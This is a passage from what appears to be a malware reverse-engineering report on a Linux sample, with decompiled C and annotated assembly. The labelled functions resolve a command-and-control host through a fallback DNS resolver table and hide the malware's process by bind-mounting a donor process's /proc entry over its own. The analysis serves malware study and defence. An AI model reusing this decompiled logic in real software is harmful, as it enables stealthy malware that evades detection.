  for (lVar2 = 7; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar4 = *puVar3;
    puVar3 = puVar3 + 1;
    puVar4 = puVar4 + 1;
  }
  uVar1 = FUN_0040caad();
  FUN_00419b0d(*(undefined2 *)((long)local_24 + ((ulong)uVar1 % 0xe) * 2));
  return;
}

Assembly · 13 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
00413aaa	48 83 ec 28	SUB RSP,0x28	; E29
00413aae	48 8d 35 2b 4d 01 00	LEA RSI,[DAT_004287e0]
00413ab5	b9 07 00 00 00	MOV ECX,0x7
00413aba	48 8d 7c 24 04	LEA RDI,[RSP + 0x4]
00413abf	f3 a5	MOVSD.REP RDI,RSI
00413ac1	e8 e7 8f ff ff	CALL FUN_0040caad
00413ac6	b9 0e 00 00 00	MOV ECX,0xe
00413acb	31 d2	XOR EDX,EDX
00413acd	89 c0	MOV EAX,EAX
00413acf	48 f7 f1	DIV RCX
00413ad2	0f b7 7c 54 04	MOVZX EDI,word ptr [RSP + RDX*0x2 + 0x4]
00413ad7	48 83 c4 28	ADD RSP,0x28
00413adb	e9 2d 60 00 00	JMP FUN_00419b0d

resolves the C2 name

0x414193526 bytes

undefined FUN_00414193()

resolves the C2 name: literal, getaddrinfo, else own DNS to an 18-entry resolver table

Cited as: E17
Behaviours: B6
Called from: FUN_004143a1
Calls: thunk_FUN_0040d215, FUN_00413b63, FUN_00413bfa, FUN_00413c4d, FUN_00413e9a, FUN_00414172, FUN_00417f10, FUN_004196b7, FUN_0041970a, FUN_00419b08, FUN_00419ee7, FUN_0041c853, FUN_0041daf0

Decompiled C · 86 lines

char * FUN_00414193(char *param_1)

{
  undefined4 *puVar1;
  uint uVar2;
  long lVar3;
  char cVar4;
  int iVar5;
  undefined4 uVar6;
  char *pcVar7;
  long lVar8;
  long lVar9;
  uint local_6c;
  uint local_68;
  uint local_64;
  uint local_60;
  undefined4 uStack_5c;
  undefined4 local_58;
  undefined8 local_54;
  
  if (((param_1 == (char *)0x0) || (*param_1 == '\0')) ||
     (pcVar7 = (char *)FUN_00417f10(1,0x10), pcVar7 == (char *)0x0)) {
    return (char *)0x0;
  }
  iVar5 = FUN_0041c853(param_1,"%u.%u.%u.%u",&local_6c,&local_68,&local_64,&local_60);
  if (((iVar5 == 4) && (local_6c < 0x100)) &&
     ((local_68 < 0x100 && ((local_64 < 0x100 && (local_60 < 0x100)))))) {
    local_58 = FUN_00419b08(local_6c << 0x18 | local_68 << 0x10 | local_64 << 8 | local_60);
  }
  else {
    iVar5 = FUN_00419ee7(2,param_1,&local_58);
    if (iVar5 != 1) goto LAB_00414273;
  }
  cVar4 = FUN_00413b63(pcVar7,local_58);
  if (cVar4 != '\0') {
    return pcVar7;
  }
LAB_00414273:
  if (*param_1 != '\0') {
    thunk_FUN_0040d215(&local_58,0x30);
    local_54 = 0x100000002;
    iVar5 = FUN_0041970a(param_1,0,&local_58,&local_60);
    if (iVar5 == 0) {
      for (lVar8 = CONCAT44(uStack_5c,local_60); lVar8 != 0; lVar8 = *(long *)(lVar8 + 0x28)) {
        if ((*(int *)(lVar8 + 4) == 2) && (*(long *)(lVar8 + 0x18) != 0)) {
          FUN_00413b63(pcVar7,*(undefined4 *)(*(long *)(lVar8 + 0x18) + 4));
        }
      }
      FUN_004196b7(CONCAT44(uStack_5c,local_60));
    }
  }
  if (*pcVar7 == '\0') {
    lVar8 = FUN_0041daf0(0);
    if (((DAT_0062f0b0 < 1) || (DAT_0062f0a8 == 0)) ||
       (lVar3 = DAT_0062f0a8, 0x77 < lVar8 - DAT_0062f0a8)) {
      DAT_0062f0b0 = 0;
      lVar9 = 0;
      FUN_00413c4d();
      do {
        uVar2 = (&DAT_00428860)[lVar9];
        lVar9 = lVar9 + 1;
        uVar6 = FUN_00419b08(uVar2 >> 0x18 | (uVar2 & 0xff0000) >> 8 | (uVar2 & 0xff00) << 8 |
                             uVar2 << 0x18);
        FUN_00413bfa(uVar6);
        lVar3 = lVar8;
      } while (lVar9 != 0x12);
    }
    DAT_0062f0a8 = lVar3;
    lVar8 = 0;
    do {
      if (DAT_0062f0b0 <= (int)lVar8) {
        if (*pcVar7 == '\0') {
          FUN_00414172(pcVar7);
          return (char *)0x0;
        }
        return pcVar7;
      }
      puVar1 = &DAT_0062f0c0 + lVar8;
      lVar8 = lVar8 + 1;
      FUN_00413e9a(param_1,*puVar1,pcVar7);
    } while (*pcVar7 == '\0');
  }
  return pcVar7;
}

Assembly · 145 instructions, 1 annotated

Address	Bytes	Instruction	Comment
00414193	41 56	PUSH R14
00414195	41 55	PUSH R13
00414197	41 54	PUSH R12
00414199	55	PUSH RBP
0041419a	53	PUSH RBX
0041419b	48 83 ec 50	SUB RSP,0x50
0041419f	48 85 ff	TEST RDI,RDI
004141a2	0f 84 e6 01 00 00	JZ LAB_0041438e
004141a8	80 3f 00	CMP byte ptr [RDI],0x0
004141ab	48 89 fb	MOV RBX,RDI
004141ae	0f 84 da 01 00 00	JZ LAB_0041438e
004141b4	be 10 00 00 00	MOV ESI,0x10
004141b9	bf 01 00 00 00	MOV EDI,0x1
004141be	e8 4d 3d 00 00	CALL FUN_00417f10
004141c3	49 89 c4	MOV R12,RAX
004141c6	48 85 c0	TEST RAX,RAX
004141c9	0f 84 bf 01 00 00	JZ LAB_0041438e
004141cf	4c 8d 6c 24 18	LEA R13,[RSP + 0x18]
004141d4	31 c0	XOR EAX,EAX
004141d6	48 8d 4c 24 10	LEA RCX,[RSP + 0x10]
004141db	48 89 df	MOV RDI,RBX
004141de	48 8d 54 24 0c	LEA RDX,[RSP + 0xc]
004141e3	4d 89 e9	MOV R9,R13
004141e6	4c 8d 44 24 14	LEA R8,[RSP + 0x14]
004141eb	48 8d 35 5a 46 01 00	LEA RSI,[s_%u.%u.%u.%u_0042884c]	; "%u.%u.%u.%u"
004141f2	e8 5c 86 00 00	CALL FUN_0041c853
004141f7	83 f8 04	CMP EAX,0x4
004141fa	75 4d	JNZ LAB_00414249
004141fc	8b 44 24 0c	MOV EAX,dword ptr [RSP + local_6c]
00414200	3d ff 00 00 00	CMP EAX,0xff
00414205	77 42	JA LAB_00414249
00414207	8b 4c 24 10	MOV ECX,dword ptr [RSP + local_68]
0041420b	81 f9 ff 00 00 00	CMP ECX,0xff
00414211	77 36	JA LAB_00414249
00414213	8b 54 24 14	MOV EDX,dword ptr [RSP + local_64]
00414217	81 fa ff 00 00 00	CMP EDX,0xff
0041421d	77 2a	JA LAB_00414249
0041421f	8b 74 24 18	MOV ESI,dword ptr [RSP + local_60]
00414223	81 fe ff 00 00 00	CMP ESI,0xff
00414229	77 1e	JA LAB_00414249
0041422b	c1 e0 18	SHL EAX,0x18
0041422e	c1 e1 10	SHL ECX,0x10
00414231	89 c7	MOV EDI,EAX
00414233	c1 e2 08	SHL EDX,0x8
00414236	09 cf	OR EDI,ECX
00414238	09 d7	OR EDI,EDX
0041423a	09 f7	OR EDI,ESI
0041423c	e8 c7 58 00 00	CALL FUN_00419b08
00414241	89 44 24 20	MOV dword ptr [RSP + local_58],EAX
00414245	89 c6	MOV ESI,EAX
00414247	eb 1a	JMP LAB_00414263
LAB_00414249:
00414249	48 8d 54 24 20	LEA RDX,[RSP + 0x20]
0041424e	48 89 de	MOV RSI,RBX
00414251	bf 02 00 00 00	MOV EDI,0x2
00414256	e8 8c 5c 00 00	CALL FUN_00419ee7
0041425b	ff c8	DEC EAX
0041425d	75 14	JNZ LAB_00414273
0041425f	8b 74 24 20	MOV ESI,dword ptr [RSP + local_58]
LAB_00414263:
00414263	4c 89 e7	MOV RDI,R12
00414266	e8 f8 f8 ff ff	CALL FUN_00413b63
0041426b	84 c0	TEST AL,AL
0041426d	0f 85 1e 01 00 00	JNZ LAB_00414391
LAB_00414273:
00414273	80 3b 00	CMP byte ptr [RBX],0x0
00414276	74 68	JZ LAB_004142e0
00414278	4c 8d 74 24 20	LEA R14,[RSP + 0x20]
0041427d	be 30 00 00 00	MOV ESI,0x30
00414282	4c 89 f7	MOV RDI,R14
00414285	e8 92 8f ff ff	CALL thunk_FUN_0040d215
0041428a	b8 01 00 00 80	MOV EAX,0x80000001
0041428f	31 f6	XOR ESI,ESI
00414291	4c 89 e9	MOV RCX,R13
00414294	48 01 c0	ADD RAX,RAX
00414297	4c 89 f2	MOV RDX,R14
0041429a	48 89 df	MOV RDI,RBX
0041429d	48 89 44 24 24	MOV qword ptr [RSP + local_54],RAX
004142a2	e8 63 54 00 00	CALL FUN_0041970a
004142a7	85 c0	TEST EAX,EAX
004142a9	75 35	JNZ LAB_004142e0
004142ab	4c 8b 6c 24 18	MOV R13,qword ptr [RSP + 0x18]
LAB_004142b0:
004142b0	4d 85 ed	TEST R13,R13
004142b3	74 21	JZ LAB_004142d6
004142b5	41 83 7d 04 02	CMP dword ptr [R13 + 0x4],0x2
004142ba	75 14	JNZ LAB_004142d0
004142bc	49 8b 45 18	MOV RAX,qword ptr [R13 + 0x18]
004142c0	48 85 c0	TEST RAX,RAX
004142c3	74 0b	JZ LAB_004142d0
004142c5	8b 70 04	MOV ESI,dword ptr [RAX + 0x4]
004142c8	4c 89 e7	MOV RDI,R12
004142cb	e8 93 f8 ff ff	CALL FUN_00413b63
LAB_004142d0:
004142d0	4d 8b 6d 28	MOV R13,qword ptr [R13 + 0x28]
004142d4	eb da	JMP LAB_004142b0
LAB_004142d6:
004142d6	48 8b 7c 24 18	MOV RDI,qword ptr [RSP + local_60]
004142db	e8 d7 53 00 00	CALL FUN_004196b7
LAB_004142e0:
004142e0	41 80 3c 24 00	CMP byte ptr [R12],0x0
004142e5	0f 85 a6 00 00 00	JNZ LAB_00414391
004142eb	31 ff	XOR EDI,EDI
004142ed	e8 fe 97 00 00	CALL FUN_0041daf0
004142f2	83 3d b7 ad 21 00 00	CMP dword ptr [DAT_0062f0b0],0x0
004142f9	49 89 c5	MOV R13,RAX
004142fc	7e 18	JLE LAB_00414316
004142fe	48 8b 05 a3 ad 21 00	MOV RAX,qword ptr [DAT_0062f0a8]
00414305	48 85 c0	TEST RAX,RAX
00414308	74 0c	JZ LAB_00414316
0041430a	4c 89 ea	MOV RDX,R13
0041430d	48 29 c2	SUB RDX,RAX
00414310	48 83 fa 77	CMP RDX,0x77
00414314	7e 3a	JLE LAB_00414350
LAB_00414316:
00414316	c7 05 90 ad 21 00 00 00 …	MOV dword ptr [DAT_0062f0b0],0x0
00414320	31 ed	XOR EBP,EBP
00414322	4c 8d 35 37 45 01 00	LEA R14,[DAT_00428860]
00414329	e8 1f f9 ff ff	CALL FUN_00413c4d
LAB_0041432e:
0041432e	41 8b 3c ae	MOV EDI,dword ptr [R14 + RBP*0x4]
00414332	48 ff c5	INC RBP
00414335	0f cf	BSWAP EDI
00414337	e8 cc 57 00 00	CALL FUN_00419b08
0041433c	89 c7	MOV EDI,EAX
0041433e	e8 b7 f8 ff ff	CALL FUN_00413bfa
00414343	48 83 fd 12	CMP RBP,0x12
00414347	75 e5	JNZ LAB_0041432e
00414349	4c 89 2d 58 ad 21 00	MOV qword ptr [DAT_0062f0a8],R13
LAB_00414350:
00414350	45 31 ed	XOR R13D,R13D
00414353	48 8d 2d 66 ad 21 00	LEA RBP,[DAT_0062f0c0]
LAB_0041435a:
0041435a	44 39 2d 4f ad 21 00	CMP dword ptr [DAT_0062f0b0],R13D
00414361	7e 1c	JLE LAB_0041437f
00414363	42 8b 74 ad 00	MOV ESI,dword ptr [RBP + R13*0x4]
00414368	4c 89 e2	MOV RDX,R12
0041436b	48 89 df	MOV RDI,RBX
0041436e	49 ff c5	INC R13
00414371	e8 24 fb ff ff	CALL FUN_00413e9a
00414376	41 80 3c 24 00	CMP byte ptr [R12],0x0
0041437b	74 dd	JZ LAB_0041435a
0041437d	eb 12	JMP LAB_00414391
LAB_0041437f:
0041437f	41 80 3c 24 00	CMP byte ptr [R12],0x0
00414384	75 0b	JNZ LAB_00414391
00414386	4c 89 e7	MOV RDI,R12
00414389	e8 e4 fd ff ff	CALL FUN_00414172
LAB_0041438e:
0041438e	45 31 e4	XOR R12D,R12D
LAB_00414391:
00414391	48 83 c4 50	ADD RSP,0x50
00414395	4c 89 e0	MOV RAX,R12
00414398	5b	POP RBX
00414399	5d	POP RBP
0041439a	41 5c	POP R12
0041439c	41 5d	POP R13
0041439e	41 5e	POP R14
004143a0	c3	RET

bind-mounts a donor /proc/<pid> over…

0x41479d220 bytes

undefined FUN_0041479d()

bind-mounts a donor /proc/<pid> over its own

Cited as: E12
Behaviours: B4
Called from: FUN_00414879
Calls: thunk_FUN_0040cf7c, FUN_0040d0a8, thunk_FUN_0040d152, FUN_00414505, FUN_00414768, FUN_00417e93

Decompiled C · 27 lines

ulong FUN_0041479d(undefined4 param_1,undefined4 param_2,undefined8 param_3)

{
  int iVar1;
  ulong uVar2;
  undefined1 local_c8 [80];
  undefined1 local_78 [80];
  
  local_78[0] = 0;
  local_c8[0] = 0;
  thunk_FUN_0040d152(local_c8,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  thunk_FUN_0040d152(local_78,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  iVar1 = thunk_FUN_0040cf7c(local_c8);
  FUN_00414505(param_1,local_c8 + iVar1,10);
  iVar1 = thunk_FUN_0040cf7c(local_78);
  FUN_00414505(param_2,local_78 + iVar1,10);
  FUN_0040d0a8(local_c8,param_3);
  FUN_0040d0a8(local_78,param_3);
  uVar2 = FUN_00414768(local_c8);
  if ((int)uVar2 != 0) {
    iVar1 = FUN_00417e93(local_c8,local_78,0,0x1000,0);
    uVar2 = (ulong)(iVar1 == 0);
  }
  return uVar2;
}

Assembly · 61 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
0041479d	41 57	PUSH R15	; E12
0041479f	41 89 ff	MOV R15D,EDI
004147a2	41 56	PUSH R14
004147a4	41 89 f6	MOV R14D,ESI
004147a7	41 55	PUSH R13
004147a9	49 89 d5	MOV R13,RDX
004147ac	41 54	PUSH R12
004147ae	55	PUSH RBP
004147af	48 81 ec a0 00 00 00	SUB RSP,0xa0
004147b6	48 8b 05 33 9f 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
004147bd	48 89 e5	MOV RBP,RSP
004147c0	c6 44 24 50 00	MOV byte ptr [RSP + local_78],0x0
004147c5	4c 8d 64 24 50	LEA R12,[RSP + 0x50]
004147ca	48 8b b0 e0 0c 00 00	MOV RSI,qword ptr [RAX + 0xce0]
004147d1	48 89 ef	MOV RDI,RBP
004147d4	c6 04 24 00	MOV byte ptr [RSP],0x0
004147d8	e8 96 89 ff ff	CALL thunk_FUN_0040d152
004147dd	48 8b 05 0c 9f 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
004147e4	4c 89 e7	MOV RDI,R12
004147e7	48 8b b0 e0 0c 00 00	MOV RSI,qword ptr [RAX + 0xce0]
004147ee	e8 80 89 ff ff	CALL thunk_FUN_0040d152
004147f3	48 89 ef	MOV RDI,RBP
004147f6	e8 1d 88 ff ff	CALL thunk_FUN_0040cf7c
004147fb	ba 0a 00 00 00	MOV EDX,0xa
00414800	44 89 ff	MOV EDI,R15D
00414803	48 63 f0	MOVSXD RSI,EAX
00414806	48 01 ee	ADD RSI,RBP
00414809	e8 f7 fc ff ff	CALL FUN_00414505
0041480e	4c 89 e7	MOV RDI,R12
00414811	e8 02 88 ff ff	CALL thunk_FUN_0040cf7c
00414816	ba 0a 00 00 00	MOV EDX,0xa
0041481b	44 89 f7	MOV EDI,R14D
0041481e	48 63 f0	MOVSXD RSI,EAX
00414821	4c 01 e6	ADD RSI,R12
00414824	e8 dc fc ff ff	CALL FUN_00414505
00414829	4c 89 ee	MOV RSI,R13
0041482c	48 89 ef	MOV RDI,RBP
0041482f	e8 74 88 ff ff	CALL FUN_0040d0a8
00414834	4c 89 e7	MOV RDI,R12
00414837	4c 89 ee	MOV RSI,R13
0041483a	e8 69 88 ff ff	CALL FUN_0040d0a8
0041483f	48 89 ef	MOV RDI,RBP
00414842	e8 21 ff ff ff	CALL FUN_00414768
00414847	85 c0	TEST EAX,EAX
00414849	74 1d	JZ LAB_00414868
0041484b	45 31 c0	XOR R8D,R8D
0041484e	31 d2	XOR EDX,EDX
00414850	b9 00 10 00 00	MOV ECX,0x1000
00414855	4c 89 e6	MOV RSI,R12
00414858	48 89 ef	MOV RDI,RBP
0041485b	e8 33 36 00 00	CALL FUN_00417e93
00414860	85 c0	TEST EAX,EAX
00414862	0f 94 c0	SETZ AL
00414865	0f b6 c0	MOVZX EAX,AL
LAB_00414868:
00414868	48 81 c4 a0 00 00 00	ADD RSP,0xa0
0041486f	5d	POP RBP
00414870	41 5c	POP R12
00414872	41 5d	POP R13
00414874	41 5e	POP R14
00414876	41 5f	POP R15
00414878	c3	RET

finds a donor process in /proc by store…

0x4148791356 bytes

undefined FUN_00414879()

finds a donor process in /proc by store names and hides behind it

Cited as: E12
Behaviours: B4
Called from: FUN_00414dca
Calls: FUN_0040caad, thunk_FUN_0040cf7c, FUN_0040d0a8, FUN_0040d114, thunk_FUN_0040d152, FUN_004143e1, FUN_00414505, FUN_00414586, FUN_004146aa, FUN_00414768, FUN_0041479d, FUN_00417776, FUN_0041779c, FUN_004177dd, FUN_00417e93, FUN_0041cad4, FUN_0041ce60, FUN_0041d540, FUN_0041dc31

Decompiled C · 166 lines

undefined8 FUN_00414879(int param_1)

{
  bool bVar1;
  int iVar2;
  int iVar3;
  undefined8 uVar4;
  long lVar5;
  ulong uVar6;
  long lVar7;
  long lVar8;
  char *pcVar9;
  int iVar10;
  undefined4 *puVar11;
  int local_10c;
  undefined1 local_108 [16];
  undefined1 local_f8 [64];
  undefined1 local_b8 [64];
  char local_78 [72];
  
  iVar2 = FUN_0041dc31();
  uVar4 = 0;
  if (((iVar2 == 0) && (uVar4 = 0xffffffff, DAT_0062e6f0 != 0)) &&
     (*(long *)(DAT_0062e6f0 + 0xce0) != 0)) {
    local_108[0] = 0;
    FUN_00414505(param_1,local_108,10);
    local_b8[0] = 0;
    thunk_FUN_0040d152(local_b8,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
    FUN_0040d0a8(local_b8,local_108);
    iVar2 = FUN_00414768(local_b8);
    if (iVar2 != 0) {
      local_10c = 0xc;
      do {
        if ((param_1 == 1) || (iVar2 = FUN_00414586(1), iVar2 == 0)) {
          DAT_0062f120 = 0;
          if ((DAT_0062e6f0 != 0) &&
             ((*(long *)(DAT_0062e6f0 + 0xe10) != 0 && (lVar7 = FUN_0041779c(), lVar7 != 0)))) {
            do {
              do {
LAB_0041496d:
                do {
                  do {
                    lVar5 = FUN_004177dd(lVar7);
                    if ((lVar5 == 0) || (0x2f < (int)DAT_0062f120)) {
                      FUN_00417776(lVar7);
                      goto LAB_004149ae;
                    }
                  } while (*(char *)(lVar5 + 0x13) == '\0');
                  for (pcVar9 = (char *)(lVar5 + 0x13); *pcVar9 != '\0'; pcVar9 = pcVar9 + 1) {
                    if (9 < (byte)(*pcVar9 - 0x30U)) goto LAB_0041496d;
                  }
                  iVar2 = FUN_0041cad4();
                } while ((((iVar2 < 2) || (param_1 == iVar2)) ||
                         (iVar10 = FUN_004146aa(iVar2,local_78), iVar10 == 0)) ||
                        (local_78[0] == '\0'));
              } while (local_78[0] == '[');
              uVar4 = FUN_004143e1(0x198);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x199);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x19a);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x19b);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x19c);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x19d);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if ((((((lVar5 != 0) ||
                     ((lVar5 = FUN_004143e1(0x197), lVar5 != 0 &&
                      (iVar10 = FUN_0041ce60(local_78,lVar5), iVar10 == 0)))) ||
                    ((lVar5 = FUN_004143e1(0x19e), lVar5 != 0 &&
                     (iVar10 = FUN_0041ce60(local_78,lVar5), iVar10 == 0)))) ||
                   ((((lVar8 = FUN_004143e1(0x19f), lVar8 != 0 &&
                      (iVar10 = FUN_0041ce60(local_78,lVar8), iVar10 == 0)) ||
                     ((lVar8 = FUN_004143e1(0x1a0), lVar8 != 0 &&
                      (iVar10 = FUN_0041ce60(local_78,lVar8), iVar10 == 0)))) ||
                    ((lVar8 = FUN_004143e1(0x1a1), lVar8 != 0 &&
                     (iVar10 = FUN_0041ce60(local_78,lVar8), iVar10 == 0)))))) ||
                  ((lVar8 = FUN_004143e1(0x1a2), lVar8 != 0 &&
                   (iVar10 = FUN_0041ce60(local_78,lVar8), iVar10 == 0)))) ||
                 (lVar5 = FUN_0040d114(local_78,lVar5), lVar5 != 0)) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x19f);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x1a3);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if ((lVar5 != 0) || (lVar5 = FUN_0041d540(local_78,&DAT_004288ac), lVar5 != 0)) {
LAB_00414bae:
                if ((local_78[0] != '[') && (iVar10 = FUN_00414586(iVar2), iVar10 != 0)) {
                  lVar5 = (long)(int)DAT_0062f120;
                  DAT_0062f120 = DAT_0062f120 + 1;
                  (&DAT_0062f140)[lVar5] = iVar2;
                }
              }
            } while( true );
          }
LAB_004149ae:
          iVar2 = 0x81;
          if ((int)DAT_0062f120 < 1) {
            do {
              do {
                iVar2 = iVar2 + -1;
                if (iVar2 == 0) {
                  if (param_1 != 1) {
                    FUN_00414586(1);
                  }
                  goto LAB_00414a62;
                }
                uVar6 = FUN_0040caad();
                iVar10 = (int)((uVar6 & 0xffffffff) % 4000) + 2;
              } while (param_1 == iVar10);
              local_78[0] = '\0';
              thunk_FUN_0040d152(local_78,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
              iVar3 = thunk_FUN_0040cf7c(local_78);
              FUN_00414505(iVar10,local_78 + iVar3,10);
              iVar3 = FUN_00414768(local_78);
            } while ((iVar3 == 0) || (iVar3 = FUN_00414586(iVar10), iVar3 == 0));
          }
          else {
            uVar6 = FUN_0040caad();
            iVar10 = (&DAT_0062f140)[(int)((uVar6 & 0xffffffff) % (ulong)DAT_0062f120)];
          }
        }
        else {
LAB_00414a62:
          iVar10 = 1;
        }
        local_f8[0] = 0;
        thunk_FUN_0040d152(local_f8,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
        iVar2 = thunk_FUN_0040cf7c(local_f8);
        FUN_00414505(iVar10,local_f8 + iVar2,10);
        iVar2 = FUN_00414768(local_f8);
        if (iVar2 != 0) {
          iVar2 = FUN_00414768(local_f8);
          if ((iVar2 != 0) && (iVar2 = FUN_00417e93(local_f8,local_b8,0,0x1000,0), iVar2 == 0)) {
            return 1;
          }
          puVar11 = &DAT_004288c0;
          bVar1 = false;
          do {
            lVar7 = FUN_004143e1(*puVar11);
            if ((lVar7 != 0) && (iVar2 = FUN_0041479d(iVar10,param_1), iVar2 != 0)) {
              bVar1 = true;
            }
            puVar11 = puVar11 + 1;
          } while (puVar11 != (undefined4 *)&DAT_004288d4);
          iVar2 = FUN_0041479d(iVar10,param_1,&DAT_004288af);
          if (iVar2 != 0 || bVar1) {
            return 1;
          }
        }
        local_10c = local_10c + -1;
      } while (local_10c != 0);
    }
    uVar4 = 0xffffffff;
  }
  return uVar4;
}

Assembly · 347 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
00414879	41 57	PUSH R15	; E12
0041487b	41 56	PUSH R14
0041487d	41 55	PUSH R13
0041487f	41 54	PUSH R12
00414881	55	PUSH RBP
00414882	53	PUSH RBX
00414883	89 fb	MOV EBX,EDI
00414885	48 81 ec e8 00 00 00	SUB RSP,0xe8
0041488c	e8 a0 93 00 00	CALL FUN_0041dc31
00414891	41 89 c0	MOV R8D,EAX
00414894	31 c0	XOR EAX,EAX
00414896	45 85 c0	TEST R8D,R8D
00414899	0f 85 14 05 00 00	JNZ LAB_00414db3
0041489f	48 8b 15 4a 9e 21 00	MOV RDX,qword ptr [DAT_0062e6f0]
004148a6	83 c8 ff	OR EAX,0xffffffff
004148a9	48 85 d2	TEST RDX,RDX
004148ac	0f 84 01 05 00 00	JZ LAB_00414db3
004148b2	48 83 ba e0 0c 00 00 00	CMP qword ptr [RDX + 0xce0],0x0
004148ba	0f 84 f3 04 00 00	JZ LAB_00414db3
004148c0	48 8d 6c 24 10	LEA RBP,[RSP + 0x10]
004148c5	ba 0a 00 00 00	MOV EDX,0xa
004148ca	89 df	MOV EDI,EBX
004148cc	c6 44 24 10 00	MOV byte ptr [RSP + local_108],0x0
004148d1	48 89 ee	MOV RSI,RBP
004148d4	4c 8d 7c 24 60	LEA R15,[RSP + 0x60]
004148d9	e8 27 fc ff ff	CALL FUN_00414505
004148de	48 8b 05 0b 9e 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
004148e5	4c 89 ff	MOV RDI,R15
004148e8	c6 44 24 60 00	MOV byte ptr [RSP + local_b8],0x0
004148ed	48 8b b0 e0 0c 00 00	MOV RSI,qword ptr [RAX + 0xce0]
004148f4	e8 7a 88 ff ff	CALL thunk_FUN_0040d152
004148f9	4c 89 ff	MOV RDI,R15
004148fc	48 89 ee	MOV RSI,RBP
004148ff	e8 a4 87 ff ff	CALL FUN_0040d0a8
00414904	4c 89 ff	MOV RDI,R15
00414907	e8 5c fe ff ff	CALL FUN_00414768
0041490c	85 c0	TEST EAX,EAX
0041490e	0f 84 35 02 00 00	JZ LAB_00414b49
00414914	c7 44 24 0c 0c 00 00 00	MOV dword ptr [RSP + local_10c],0xc
LAB_0041491c:
0041491c	83 fb 01	CMP EBX,0x1
0041491f	75 18	JNZ LAB_00414939
LAB_00414921:
00414921	48 8b 05 c8 9d 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
00414928	c7 05 ee a7 21 00 00 00 …	MOV dword ptr [DAT_0062f120],0x0
00414932	48 85 c0	TEST RAX,RAX
00414935	75 15	JNZ LAB_0041494c
00414937	eb 75	JMP LAB_004149ae
LAB_00414939:
00414939	bf 01 00 00 00	MOV EDI,0x1
0041493e	e8 43 fc ff ff	CALL FUN_00414586
00414943	85 c0	TEST EAX,EAX
00414945	74 da	JZ LAB_00414921
00414947	e9 16 01 00 00	JMP LAB_00414a62
LAB_0041494c:
0041494c	48 8b b8 10 0e 00 00	MOV RDI,qword ptr [RAX + 0xe10]
00414953	48 85 ff	TEST RDI,RDI
00414956	74 56	JZ LAB_004149ae
00414958	e8 3f 2e 00 00	CALL FUN_0041779c
0041495d	49 89 c5	MOV R13,RAX
00414960	48 85 c0	TEST RAX,RAX
00414963	74 49	JZ LAB_004149ae
LAB_00414965:
00414965	48 8d ac 24 a0 00 00 00	LEA RBP,[RSP + 0xa0]
LAB_0041496d:
0041496d	4c 89 ef	MOV RDI,R13
00414970	e8 68 2e 00 00	CALL FUN_004177dd
00414975	48 85 c0	TEST RAX,RAX
00414978	74 2c	JZ LAB_004149a6
0041497a	83 3d 9f a7 21 00 2f	CMP dword ptr [DAT_0062f120],0x2f
00414981	7f 23	JG LAB_004149a6
00414983	80 78 13 00	CMP byte ptr [RAX + 0x13],0x0
00414987	74 e4	JZ LAB_0041496d
00414989	48 8d 78 13	LEA RDI,[RAX + 0x13]
0041498d	48 89 fa	MOV RDX,RDI
LAB_00414990:
00414990	8a 02	MOV AL,byte ptr [RDX]
00414992	84 c0	TEST AL,AL
00414994	0f 84 b7 01 00 00	JZ LAB_00414b51
0041499a	83 e8 30	SUB EAX,0x30
0041499d	3c 09	CMP AL,0x9
0041499f	77 cc	JA LAB_0041496d
004149a1	48 ff c2	INC RDX
004149a4	eb ea	JMP LAB_00414990
LAB_004149a6:
004149a6	4c 89 ef	MOV RDI,R13
004149a9	e8 c8 2d 00 00	CALL FUN_00417776
LAB_004149ae:
004149ae	83 3d 6b a7 21 00 00	CMP dword ptr [DAT_0062f120],0x0
004149b5	41 bd 81 00 00 00	MOV R13D,0x81
004149bb	41 be a0 0f 00 00	MOV R14D,0xfa0
004149c1	7e 30	JLE LAB_004149f3
004149c3	e8 e5 80 ff ff	CALL FUN_0040caad
004149c8	31 d2	XOR EDX,EDX
004149ca	f7 35 50 a7 21 00	DIV dword ptr [DAT_0062f120]
004149d0	48 8d 05 69 a7 21 00	LEA RAX,[DAT_0062f140]
004149d7	48 63 d2	MOVSXD RDX,EDX
004149da	8b 2c 90	MOV EBP,dword ptr [RAX + RDX*0x4]
004149dd	e9 85 00 00 00	JMP LAB_00414a67
LAB_004149e2:
004149e2	e8 c6 80 ff ff	CALL FUN_0040caad
004149e7	31 d2	XOR EDX,EDX
004149e9	41 f7 f6	DIV R14D
004149ec	8d 6a 02	LEA EBP,[RDX + 0x2]
004149ef	39 eb	CMP EBX,EBP
004149f1	75 07	JNZ LAB_004149fa
LAB_004149f3:
004149f3	41 ff cd	DEC R13D
004149f6	75 ea	JNZ LAB_004149e2
004149f8	eb 59	JMP LAB_00414a53
LAB_004149fa:
004149fa	48 8b 05 ef 9c 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
00414a01	4c 8d a4 24 a0 00 00 00	LEA R12,[RSP + 0xa0]
00414a09	c6 84 24 a0 00 00 00 00	MOV byte ptr [RSP + local_78],0x0
